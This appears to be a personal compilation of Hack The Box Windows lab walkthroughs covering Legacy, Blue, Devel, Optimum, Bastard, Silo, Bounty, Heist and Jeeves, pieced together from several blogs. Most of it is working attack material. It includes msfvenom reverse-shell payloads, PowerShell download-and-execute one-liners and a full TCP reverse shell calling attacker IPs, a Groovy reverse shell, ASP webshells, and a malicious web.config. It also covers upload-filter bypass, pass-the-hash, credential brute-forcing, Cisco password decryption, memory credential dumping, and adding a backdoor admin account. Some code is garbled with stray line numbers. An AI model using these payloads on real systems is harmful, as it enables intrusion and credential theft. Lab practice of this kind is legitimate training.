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My Practice on HTB Windows boxes
Windows
htb
legacy: windows
One method:
nmap -sT -p- --min-rate 10000 -oA nmap/alltcp 10.10.10.4
SMB smbmap -H 10.10.10.4 nmap vuln scanner for smb nmap --script smb-vuln* -p 445 -oA nmap/smb_vulns 10.10.10.4
smb-vuln-ms08-067: vulnerable
SMB exploits, MS-08-067 (made famous by Conficker) and MS-17-010 (made famous by Shadow Brokers).
MS-08-067
for changing the shellcode msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
python ms08-067.py 10.10.10.4 6 445
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o rev_10.10.14.14_443.exe
python send_and_execute.py 10.10.10.4 rev_10.10.14.14_443.exe
transfer whoami.exe binary from kali to windows xp
smbserver.py a /usr/share/windows-binaries/
C:\WINDOWS\system32>\10.10.14.14\a\whoami.exe
==========================================================
blue writeup - windows
nmap nmap -A -vv --script=smb-vuln-conficker,smb-vuln-cve2009-3103,smb-vuln-cve-2017-7494,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-vuln-ms10-061,smb-vuln-ms17-010 -p445 10.10.10.40
services open smb
smbmap -u guest -H ip
its vulnerable to eternal blue vulnerability cve-2017-0143
1st method
Using the windows/smb/ms17_101_eternalblue module in Metasploit, we can successfully get a shell as nt authority!
https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py - mysmb script put on the same folder
vi /etc/hosts smbclient -L \10.10.10.40 -N smbclient \\haris-pc\Users
smbclient -L \haris-pc -N - smbscan smb verification- smbclient \\haris-pc\Users
msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=port -f exe > blue.exe
exploit modifiation - username - guest and changes the exploit
smb_send file exploit
smbfile smbexec
python exploit.py ip ntsvcs - boom
more root.txt
further exploitation - enable rdp and add a user
net user hacker hacker /add net localgroup /add administrators hacker
enabling rdp reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
3389 enabled
=============================================
htb windows
devel - windows
nmap -sT -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.5
found ftp open 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-18-17 01:06AM aspnet_client | 03-17-17 04:37PM 689 iisstart.htm |_03-17-17 04:37PM 184946 welcome.png
server is running on asp.net. we can upload asp shell and get the reverse connection
locate cmd.aspx usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx
put cmd.aspx then visit cmd.aspx
web to shell- 3 ways (nc.exe, nishang, meterpreter)
1 way nc.exe
create a smb server on attackeer machine and upload nc.exe on the server
locate nc.exe cp /usr/share/windows-binaries/nc.exe smb/
run this command on attacker machine smbserver.py share smb
create a listener on the attacker machine
\10.10.14.14\share\nc.exe -e cmd.exe 10.10.14.14 443 - in webshell run this command
2nd way
nishang exploit
Invoke-PowershellTcp copy this file from /opt/nishang/shells to /smb directory
this line put in to end of the file Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 443
This will make it so that not only does the module load, but then the shell is called to give me a callback.
run this commmand on the webshell then it get from attacker python server and then give shell to attacker machine powershell iex(new-object net.webclient).downloadstring('http://10.10.14.14/Invoke-PowerShellTcp.ps1')
3rd way: meterpreter shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=443 -f aspx > met_rev_443.aspx
put met_rev_443.aspx
then run listener on metasploit and get the system shell by clicking aspx shell
Privesc: web –> System
Enumeration part systeminfo
1st way
WATSON to check potential vulnerabilities
For checking .net version: reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP" reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
\10.10.14.14\share\Watson.exe
\10.10.14.14\share\MS11-046.exe
done boom
2nd method with metasploit
MS10-015
Run local exploit suggester : use post/multi/recon/local_exploit_suggester
I’ll give exploit/windows/local/ms10_015_kitrap0d a run.
==============================================================================
optimum htb windows
nmap -sC -sV -oA optimum 10.10.10.8 https://old.exploit-db.com/exploits/39161/ https://www.exploit-db.com/exploits/39161
script value change (add ip and port)
cp /usr/share/windows-binaries/nc.exe /opt/HTB/optimum
copy window binary from kali to windows with exploit
we got user shell
now turn to root shell windows-exploit-suggester.py
python windows-exploit-suggester.py –update
python windows-exploit-suggester.py –systeminfo systeminfo.txt –database 2018-11-25-mssb.xls
we use powershell empire for exploit ms16-032 Under PowerShell/Empire, there is a separate ps1 file for MS16-032. We will save it as Empire.ps1.
Invoke-MS16032 -Command “iex(New-Object Net.WebClient).DownloadString(‘http://10.10.14.2/shell.ps1‘)”
2nd method
searchsploit hfs 2.3
rce on the system copy nc in to specific folder and exploit through python script
after got user access then turn in to window exploit suggester
python window exploitsuggester.py --database .xls --systeminfo .txt
While this tool gave us some great suggestions, i found an easier exploit while looking around on Google.
ms16-098
==================================================================
Bastard htb windows
nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.9
I can also see that the website is running IIS 7.5, which is the default IIS for Windows 7 / Server 2008r2. I’ll also see the webserver is hosting Drupal 7.
run droopescan for finding potential loopholes
Shell as iusr
searchsploit -m exploits/php/webapps/41564.php
$file = [ 'filename' => '0xdf.php', 'data' => '<?php system($_REQUEST["cmd"]); ?>' ];
apt install php-curl
hashcat -m 7900 admin.hash /usr/share/wordlists/rockyou.txt -o admin.cracked --force
Drupalgeddon2
Ruby Script However, on reading about Drupalgeddon2, it seems this is testing the vulnerability on a Drupal 8 specific path.
I’ll try the ruby script, searchsploit -m exploits/php/webapps/44449.rb. Now I’ll run it, and it returns the help, and a warning:
dos2unix
Settings - Proxy information (nil to disable)
proxy_addr = '127.0.0.1' proxy_port = 8080
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 443
2nd method through nishang
python drupalgeddon3.py http://10.10.10.9/ "SESSd873f26fc11f2b7e6e4aa0f6fce59913=GCGJfJI7t9GIIV7M7NLK8ARzeURzu83jxeqI2_qcDGs" 1 "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.14/shell.ps1')"
with smbserver transfer this \10.10.14.14\share\ms15-051x64.exe "whoami"
\10.10.14.14\share\ms15-051x64.exe "\10.10.14.14\share\nc64.exe -e cmd.exe 10.10.14.14 443"
======================================================
Silo htb walkthrough
nmap -sC -sV -oA nmap/initial 10.10.10.82
odat sidguesser -s 10.10.10.82
guess bruteforce user and password
sqlplus SCOTT/[email protected]:1521/XE
sqlplus SCOTT/[email protected]:1521/XE as sysdba
odat all -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba
odat dbmsadvisor -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --putFile C:\inetpub\wwwroot 0xdf.txt <(echo 0xdf was here)
odat dbmsadvisor -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --putFile C:\inetpub\wwwroot 0xdf.aspx /usr/share/webshells/aspx/cmdasp.aspx
cp /opt/powershell/nishang/Shells/Invoke-PowerShellTcp.ps1 .
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.15.48:8083/Invoke-PowerShellTcp.ps1')
Privesc
type "\users\Phineas\Desktop\Oracle issue.txt"
Memdump
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
volatility kdbgscan -f SILO-20180105-221806.dmp
volatility -f SILO-20180105-221806.dmp --profile Win2012R2x64 hivelist
volatility -f SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000
Root shell
/opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 -target-ip 10.10.10.82 [email protected]
Alternative Path to root
Oracle Execution
tasklist /v
odat ctxsys -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --getFile c:\users\administrator\desktop\root.txt
Shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=8084 -f exe -o shell.exe
upload the file odat utlfile -s 10.10.10.82 -U SCOTT -P tiger -d XE --sysdba --putFile \temp shell.exe shell.exe
run the file odat externaltable -s 10.10.10.82 -U SCOTT -P tiger -d XE --sysdba --exec \temp shell.exe
RottenPotato Privesc
If we check whoami /priv, we’ll see SeImpersonatePrivilege:
whoami /priv
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',8085); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"
PS C:\temp> (new-object net.webclient).downloadfile('http://10.10.14.14:8083/rev.bat', 'C:\temp\rev.bat') PS C:\temp> (new-object net.webclient).downloadfile('http://10.10.14.14:8083/MSFRottenPotato.exe', 'C:\temp\lp.exe')
=======================================
blog 2
Notice that port 80 - Microsoft IIS httpd 8.5 is opened. Just note it down, it will be useful later on. Let’s focus on port 1521 (and sort of port 49160) instead - Oracle TNS listener 11.2.0.2.0 (unauthorized). Doing some enumeration I find out that this particular version of Oracle listener is vulnerable to remote TNS poisoning.
Exploitation Creating your own privileged users
sqlplus scott/[email protected](DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=10.10.10.82)(Port=1521))(CONNECT_DATA=(SID=XE))) AS SYSDBA CREATE USER v3ded IDENTIFIED BY v3ded99; GRANT dba TO v3ded;
ODAT python odat.py all -s 10.10.10.82 -d XE -U v3ded -P v3ded99
[2.10] DBMS_XSLPROCESSOR library ? is enabled
DBMS_XSLPROCESSOR library is enabled and therefore allows us to put any files onto the machine. Here is the command that will do so:
python odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U v3ded -P v3ded99 --putFile "c:\Windows\" "v3ded.txt" "/tmp/v3ded.txt"
now create the shell msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.15.193 LPORT=443 -f aspx > /tmp/v3dedShell.aspx
python odat.py dbmsxslprocessor -s ip -d XE -U v3dwd -P pass --putfile "C:\inetpub\wwwroot\" "v3dedshell.aspx" "/tmp/v3dedshell.aspx"
after getting shell Navigating to his Desktop directory I see an interesting file called “Oracle issues.txt”.
Using Volatility to extract passwords
https://github.com/volatilityfoundation/volatility python vol.py -f SILO-20180105-221806.dmp imageinfo
python vol.py -f ../SILO-2018.dmp --profile=Win8SP1x64 hivelist
python vol.py -f SILO-20180105-221806.dmp --profile=Win8SP1x64_18340 hivelist
==========================================
3rd blog silo
./odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --getFile "c:/Users/Administrator/Desktop" "root.txt" "spz.io" --sysdba
we create a new file name is 1.bat and the content is
dir /a c:\users\
./odat.py
./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "c:/" 1.bat /root/Desktop/1.bat --sysdba
./odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --exec "dir C:/" 1.bat --sysdba
=================================================
1st blog 0xdf
nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.82
gobuster -u http://10.10.10.82/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html -t 30 - for dir hunting
Oracle db - Port 1521 - port open we need odat tool setup now find sid 1 - Identify SIDs
odat sidguesser -s 10.10.10.82 - sidguesser
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'XE' [+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'PLSExtProc' [+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'CLRExtProc' So at this point we have four potential SIDs: ‘XE’, ‘XEXDB’, ‘PLSExtProc’, and ‘CLRExtProc’.
3 - Guess / bruteforce user and pass
So I wrote a brute force script in python, using threads, can go pretty quick:
!/usr/bin/env python
import cx_Oracle import sys from multiprocessing import Pool
MAX_PROC = 50 host = "10.10.10.82" sid = "XE"
def usage(): print("{} [ip] [wordlist]".format(sys.argv[0])) print(" wordlist should be of the format [username]:[password]") sys.exit(1)
def scan(userpass): u, p = userpass.split(':')[:2] try: conn = cxOracle.connect('{user}/{pass}@{ip}/{sid}'.format(user=u, pass_=p, ip=host, sid=sid)) return u, p, True except cx_Oracle.DatabaseError: return u, p, False
def main(host, userpassfile, nprocs=MAX_PROC): with open(userpassfile, 'r') as f: userpass = f.read().rstrip().replace('\r','').split('\n')
1
pool = Pool(processes=nprocs)
2
3
for username, pass_, status in pool.imap_unordered(scan, [up for up in userpass]):
4
if status:
5
print("Found {} / {}\n\n".format(username, pass_))
6
else:
7
sys.stdout.write("\r {}/{} ".format(username, pass_))
Copied!
if name == 'main': if len(sys.argv) != 3: usage() main(sys.argv[1], sys.argv[2])
4 - Check out the database sqlplus SCOTT/[email protected]:1521/XE
5 - db PrivEsc
select * from user_role_privs; sqlplus SCOTT/[email protected]:1521/XE as sysdba Similarly with odat, running the all scan shows nothing that can be done, but passing in the --sysdba flag changes all of that:
odat all -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba
odat dbmsadvisor -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --putFile C:\inetpub\wwwroot 0xdf.txt <(echo 0xdf was here)
odat dbmsadvisor -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --putFile C:\inetpub\wwwroot 0xdf.aspx /usr/share/webshells/aspx/cmdasp.aspx
User Shell
Nishang powershell
cp /opt/powershell/nishang/Shells/Invoke-PowerShellTcp.ps1 .
Use SimpleHTTPServer to offer it, and then issue the following to the webshell: powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.15.48:8083/Invoke-PowerShellTcp.ps1')
user.txt
Privesc Desktop Note
type "\users\Phineas\Desktop\Oracle issue.txt"
we got memory dump Dropbox link https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0
link password: ?%Hm8646uC$
we need memory dump for this file and get data systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft Windows Server 2012 R2 Standard OS Version: 6.3.9600 N/A Build 9600
volatility kdbgscan -f SILO-20180105-221806.dmp Profile suggestion (KDBGHeader): Win2012R2x64_18340
volatility -f SILO-20180105-221806.dmp --profile Win2012R2x64 hivelist 0xffffc00000028000 0xffffc00000619000
volatility -f SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000
hashes got
try passthehash /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 -target-ip 10.10.10.82
2 Alternative Path to root
Oracle Execution tasklist /v
odat ctxsys -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --getFile c:\users\administrator\desktop\root.txt
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=8084 -f exe -o shell.exe
Now upload it:
odat utlfile -s 10.10.10.82 -U SCOTT -P tiger -d XE --sysdba --putFile \temp shell.exe shell.exe
And run it:
odat externaltable -s 10.10.10.82 -U SCOTT -P tiger -d XE --sysdba --exec \temp shell.exe
3 RottenPotato Privesc whoami /priv
SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled
This means that we can likely use RottenPotato (or LonelyPotato).
First, we’ll upload two files to the server. MSFRottenPotato.exe and rev.bat. The exe is from Decoder’s GitHub page for lonelypotato. The second is a simple powershell command to get a shell:
rev.bat powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',8085); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"
So, from our low priv shell, grab the files:
PS C:\temp> (new-object net.webclient).downloadfile('http://10.10.14.14:8083/rev.bat', 'C:\temp\rev.bat') PS C:\temp> (new-object net.webclient).downloadfile('http://10.10.14.14:8083/MSFRottenPotato.exe', 'C:\temp\lp.exe')
run this file c:\temp\lp.exe * \temp\rev.bat
======================================================
bounty htb windows
Bounty was one of the easier boxes I’ve done on HTB, but it still showcased a neat trick for initial access that involved embedding ASP code in a web.config file that wasn’t subject to file extension filtering. Initial shell provides access as an unprivileged user on a relatively unpatched host, vulnerable to several kernel exploits, as well as a token privilege attack. I’ll show a handful of ways to enumerate and to escalate privilege, including a really neat new tool, Watson. When I first wrote this post, Watson wouldn’t run on Bounty, but thanks to some quick work from Rasta Mouse and Mark S, I was able to update the post to include it.
nmap -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.93 80 port open
Server Identification : ASP.net
gobuster
gobuster -u http://10.10.10.93 -w usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster_root -x aspx
transfer.aspx / UploadedFiles
/transfer.aspx presents a simple form with “Browse…” and “Upload” buttons:
Bypassing Upload Extension Filter I’ll grab a copy of the aspx shell that comes with kali, and try to upload it. On first attempt to upload, the page rejects it:
I can bypass the filter by adding a null byte after our aspx so that the app thinks it’s a jpg, but then saves it as an aspx:
.aspx%00.jpg
Getting Execution Still, when I then view http://10.10.10.93/UploadedFiles/cmdasp.aspx, it returns an error:
web.config RCE
Shell as merlin
Prep It’s certainly possible to get a webshell, but I’ll notice that the UploadedFiles path is being cleared out every few minutes. So I’ll opt to go directly to reverse shell. First, grab a copy of Nishang’s Invoke-PowerShellTcp.ps1. Then add a line at the end to invoke a callback to me:
Web.config file
<?xml version="1.0" encoding="UTF-8"?>
</handlers>
</fileExtensions>
</hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> <%@ Language=VBScript %> <% call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.5/Invoke-PowerShellTcp.ps1')") %>
Execution Now, I take two steps:
Upload the web.config using the web form
Visit http://10.10.10.93/UploadedFiles/web.config, which runs the asp code, which invokes PowerShell to download the Nishang shell, and then run it creating a connection back to me:
user.txt
Now with shell, I can grab user.txt. Strangely, it’s not present when I look for it: It turns out that the file is there, it’s just hidden.
If I re-run Get-ChildItem (or gci or ls) with the -Force flag, it shows up:
gci -force
Privesc: merlin –> SYSTEM Enumeration
I’ve got a bunch of different methods here, but if you’re only going to read on, jump ahead to Watson, as it’s brand new, and my favorite.
System Info systeminfo Whoami /priv
Whenever I get access via a web service on a Windows host, I always check whoami /priv. If SeImpersonatePrivilege is present,
I can likely get SYSTEM with Lonely Potato. That appears to be the case here: SeImpersonatePrivilege Impersonate a client after authentication Enabled whoami /priv
Sherlock Another tool to try is Sherlock. Unfortunately, it’s no longer being maintained, in favor of Watson (see more on that later).
Still, it’s a quick PowerShell Script that will identify some kernel exploits. Upload it, and then run
Find-AllVulns.
It looks like MS10-092 is a good candidate:
Watson : check the version details:
\windows\microsoft.net\framework\v2.0.50727\msbuild -version So build again with .NET Framework 2.0, copy it over to Bounty, and run it: 2.0 version create a watson.exe and run it into the machine
https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/
[*] Appears vulnerable to MS10-092 [>]
Description: When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with.Also, In a default configuration, normal users can read and write the task files that they have created.By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges
. [>] Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms10_092_schelevator.rb [>] Notes: None.
Metasploit msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=445 -f psh -o www/met-445.ps1
use post/multi/recon/local_exploit_suggester Now get and run PowerShell launcher from my Nishang shell: iex(new-object net.webclient).downloadstring('http://10.10.14.5/met-445.ps1')
Escalation Method 1: Lonely Potato
https://github.com/decoder-it/lonelypotato/blob/master/RottenPotatoEXE/MSFRottenPotato.exe
(new-object net.webclient).downloadfile('http://10.10.14.5/lonelypotato.exe', 'C:\users\merlin\appdata\local\temp\lp.exe')
(new-object net.webclient).downloadfile('http://10.10.14.5/rev.bat', 'C:\users\merlin\appdata\local\temp\rev.bat')
(new-object net.webclient).downloadfile('http://10.10.14.5/lonelypotato.exe', 'C:\users\merlin\appdata\local\temp\lp.exe')
in rev.bat : powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.5/Invoke-PowerShellTcp.ps1') run it and get a shell
C:\users\merlin\appdata\local\temp\lp.exe * C:\users\merlin\appdata\local\temp\rev.bat Escalation
Method 2: Kernel Exploits - Metasploit msf exploit(windows/local/ms10_092_schelevator) > options
====================================== 2 blog:
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") Function getCommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec(thecommand) getCommandOutput = objCmdExec.StdOut.ReadAll end Function %>
</FORM>
<%= "\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> <%Response.Write(Request.ServerVariables("server_name"))%>
The server's port:
The server's software:
The server's software:
msfvenom: Payload generator & encoder. -p windows/x64/meterpreter/reverse_tcp: Sets the payload as a x64 meterpreter reverse shell. LHOST=10.10.14.251: Sets the “listening” host to our own IP. LPORT=4321: Sets the “listening” port to a port of our choice. -f exe: Sets the payload output format as an exe. -a x64: Specifies the system architecture as x64. -o payload.exe: Sets our output payload name to be “payload.exe”. — platform windows: Specifies the victim’s platform as windows (not necessary), as this is automatically inferred from the payload AFAIK).
ren c:\inetpub\wwwroot\UploadedFiles\payload.exe.config payload.exe c:\inetpub\wwwroot\UploadedFiles\payload.exe
PART TWO: ROOT
use exploit/windows/local/ms10_092_schelevator
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blog 3
<?xml version="1.0" encoding="UTF-8"?>
</system.webServer> <% Set s = CreateObject("WScript.Shell") Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.2:80/ex.ps1')") o = cmd.StdOut.Readall() Response.write(o) %>
Once the malware is generated, we can use a tool built into the majority of Windows machines called certutil. The command I use to do this is:
==============================================================
heist htb 2 jan
first blog
nmap -sV -sT -sC -o nmapinitial heist.htb nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.149
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 80 135 445
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 Cisco Type 5 salted md5
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
Type 5 john --wordlist=/usr/share/wordlists/rockyou.txt level5_hash
Python script to crack cisco 7 password
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!/usr/bin/env python3
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import sys from binascii import unhexlify
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if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} [level 7 hash]") exit()
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static_key = "tfd;kfoA,.iyewrkldJKD" enc = sys.argv[1] start = int(enc[:2], 16) - 1 enc = unhexlify(enc[2:]) key = static_key[start:] + static_key[:start]
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plain = ''.join([chr(x ^ ord(key[i % len(key)])) for i, x in enumerate(enc)]) print(plain)
Copied!
list of passwords and usersnames: [email protected]# cat passwords stealth1agent [email protected] Q4)sJu\Y8qz*A3?d [email protected]# cat users rout3r admin hazard
SMB - TCP 445
smbmap -H 10.10.10.149 - not working access denied
With Creds
crackmapexec smb 10.10.10.149 -u users -p passwords
CME 10.10.10.149:445 SUPPORTDESK [+] SUPPORTDESK\hazard:stealth1agent (This is working)
I’ll re-run smbmap with creds. hazard can only access IPC$:
smbmap -H 10.10.10.149 -u hazard -p stealth1agent
ADMIN$ NO ACCESS C$ NO ACCESS IPC$ READ ONLY
As I can read IPC$, I can connect with rpcclient:
rpcclient -U 'hazard%stealth1agent' 10.10.10.149
I can use the lookupnames command to get the SIDs of the users I know:
lookupnames hazard lookupnames administrator
lookupsids S-1-5-21-4254423774-1266059056-3197185112-1008
rpcclient -U 'hazard%stealth1agent' 10.10.10.149 -c 'lookupsids S-1-5-21-4254423774-1266059056-3197185112-1000'
manual enumerate users for i in {1000..1050}; do rpcclient -U 'hazard%stealth1agent' 10.10.10.149 -c "lookupsids S-1-5-21-4254423774-1266059056-3197185112-$i" | grep -v unknown; done
automated tool : lookupsid.py hazard:[email protected]
Shell as chase ruby /opt/evil-winrm/evil-winrm.rb -i 10.10.10.149 -u SUPPORTDESK\chase -s ~/pshs/ -p 'Q4)sJu\Y8qz*A3?d'
Alternatively, I could create the same dump using PowerSploit’s Out-Minidump:
grep -aoE 'login_username=.{1,20}@.{1,20}&login_password=.{1,50}&login=' firefox.exe_190823_025430.dmp
The options on grep are:
-a - Process a binary file as if it were text. -o - Print only the matched (non-empty) parts of a matching line -E - Interpret PATTERNS as extended regular expressions
cisco type 5 hashcat -m 500 pass.txt /usr/share/wordlists/rockyou.txt --force --outfile output.txt
impacket tool for bruteforce users
python lookupsid.py Hazard:[email protected]
Need to create ps1_scripts and exe_files
evil-winrm -i 10.10.10.149 -u chase -p 'Q4)sJu\Y8qz*A3?d' -s './ps1_scripts/' -e './exe_files/' whoami cd .. cd Desktop cat user.txt
Privilege Escalation cd appdata\Roaming\Mozilla\firefox - firefox is running
upload /var/www/html/procdump64.exe - upload procdump to dump all processes ps
./procdump64.exe -ma 7024
Firefox.exe_191291_111009.dmp | Select-String "username="
evil-winrm -i 10.10.10.149 -u administrator -p '4dD!5}x/re8]FBuZ' -s './ps1_scripts/' -e './exe_files/' whoami cd .. cd Desktop cat root.txt
3rd blog
Enumerating Users –> Shell as Chase –> User Flag So far we have hazard and rout3r as potential usernames and stealth1agent, [email protected], Q4)sJu\Y8qz*A3?d as potential passwords.
smbclient --list //heist.htb/ -U 'hazard'
impacket to enumerate other users /opt/impacket/examples/lookupsid.py hazard:[email protected]
Then I could authenticate to winrm as chase : Q4)sJu\Y8qz*A3?d:
evil-winrm -i heist.htb -u chase -p password -s './ps1_scripts' -e './exe_files'
Administrator Password from Firefox Process Dump –> Shell as Administrator –> Root Flag
Then I uploaded strings.exe and used it on the dump and saved the output to another file:
upload strings64.exe
cmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt"
findstr "password" ./firefox.exe_191129_211531.txt
===================================================================
Jeeves htb windows without metasploit
nmap -T4 -sC -sV -n 10.10.10.63 -oA jeeves_initial_scan
Enumerating Port 50000 (Jetty/Jenkins)
Whenever I encounter an application that error message that looks fairly unique, I always copy & paste the error message into Google and see what happens. This technique is very underrated, google that shit.
Powered by Jetty 9.4
We are seeing quite a few results for Jenkins, so there is a high probability that this server is running Jenkins as a service, and now we just have to discover it.
Dirbuster Next step is to dirbuster everything to discover the jenkins dashboard path. I always use the directory-list-2.3-medium.txt which comes default in kali for most HTB boxes.
It looks like /askjeves/ seems to be the correct path for the Jenkins main dashboard, confirming our suspicions that Jenkins is the running service.
Exploiting Jenkins
Method 1: Jenkins Script Console
Jenkins has a scripting console, which you can access by going to Manage Jenkins => Script Console
You can write scripts in the Groovy Scripting Language. I searched for groovy script run command example or if you just want to skip straight to the shell search groovy script reverse shell
Testing to see if we have code execution…
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def sout = new StringBuffer(), serr = new StringBuffer()
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def proc = 'powershell.exe $PSVERSIONTABLE'.execute()
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proc.consumeProcessOutput(sout, serr)
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proc.waitForOrKill(1000)
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println "out> $sout err> $serr"
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From my search of groovy script reverse shell, I came across this Github gist – change the host and port parameter to match your settings, and hit “Run” in the script console & you will get a reverse shell.
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String host="10.10.15.30";
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int port=8282;
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String cmd="cmd.exe";
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Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
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Method 2: Build Job Exec Command
With Jenkins you can execute system commands as part of a deployment build job. The Jenkins server allowed anyone to do anything even to the anonymous user which means we can create a malicious deployment & execute our code.
Steps:
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Steps:
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Create new Build Job (http://10.10.10.63:50000/askjeeves/view/all/newJob)
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Select “FreeStyle Project’
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Hit Ok
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Select “Build Enviroment”
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Generate payload / put the code you want to execute as a build step
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Hit Apply
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Start Build
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You can run any system commands you want in the predeployment step, I used a msfvenom payload just to validate that it’s possible.
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msfvenom -p windows/meterpreter/reverse_http LHOST=10.10.15.30 LPORT=8081 -f psh-cmd > 8081.cmd
Privilege Escalation:
It looks like this machine is vulnerable two a few LPE exploits the big ones being MS16-075 (RottenPotato) & MS16-032. From our sysinfo output we can rule out MS16-032 because that particular exploit requires two cpu(s), and this machine has only one cpu.
